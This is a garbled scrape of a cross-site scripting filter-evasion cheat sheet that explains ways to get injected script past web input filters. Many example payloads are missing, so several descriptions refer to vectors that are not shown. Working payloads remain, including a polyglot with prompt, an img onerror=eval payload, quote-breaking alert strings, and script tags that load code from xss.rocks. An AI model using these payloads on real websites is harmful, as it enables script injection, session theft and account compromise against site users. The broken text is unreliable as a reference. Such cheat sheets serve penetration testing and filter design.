XSS Filter Evasion Cheat Sheet Cheatsheets-header.jpg "/>alert("Xss:Priyanshu") "/>
" "><%2Fstyle<%2Fscript>
http://test.com
x"> q=" onclick="alert(/XSS/) "> "> /default.aspx#"> /default.aspx#"> by "> ">.txt.jpg "> "> ">
id=abc">
"> Default.aspx/" onmouseout="confirm(1)’x=" ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'>
XSS Locator (short) If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for '';!--"=&{()} No Filter Evasion This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):
Filter bypass based polyglot '">>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
@gmail.com
'-->">
"> <img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"> Image XSS using the JavaScript directive Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well: No quotes and no semicolon Case insensitive XSS attack vector HTML entities The semicolons are required for this to work: Grave accent obfuscation If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents: Malformed A tags Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome xxs link or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script. xxs link Malformed IMG tags Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag: <IMG """>
"> fromCharCode If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need: Default SRC tag to get past filters that check SRC domain This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross . Edited by Abdullah Hussam(@Abdulahhusam). Default SRC tag by leaving it empty Default SRC tag by leaving it out entirely On error alert IMG onerror and javascript alert encode Decimal HTML character references all of the XSS examples that use a javascript: directive inside of an Decimal HTML character references without trailing semicolons This is often effective in XSS that attempts to look for "", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild): Hexadecimal HTML character references without trailing semicolons This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Embedded tab Used to break up the cross site scripting attack: Embedded Encoded tab Use this one to break up XSS : Embedded newline to break up XSS Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector: Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.): Null breaks up JavaScript directive Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example: perl -e 'print "";' > out Spaces and meta chars before the JavaScript in images for XSS This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal: Non-alpha-non-digit XSS The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s": <SCRIPT/XSS SRC="http://xss.rocks/xss.js"> Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here: Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces. <SCRIPT/SRC="http://xss.rocks/xss.js"> Extraneous open brackets Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error: <
No closing script tags In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the ">" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected: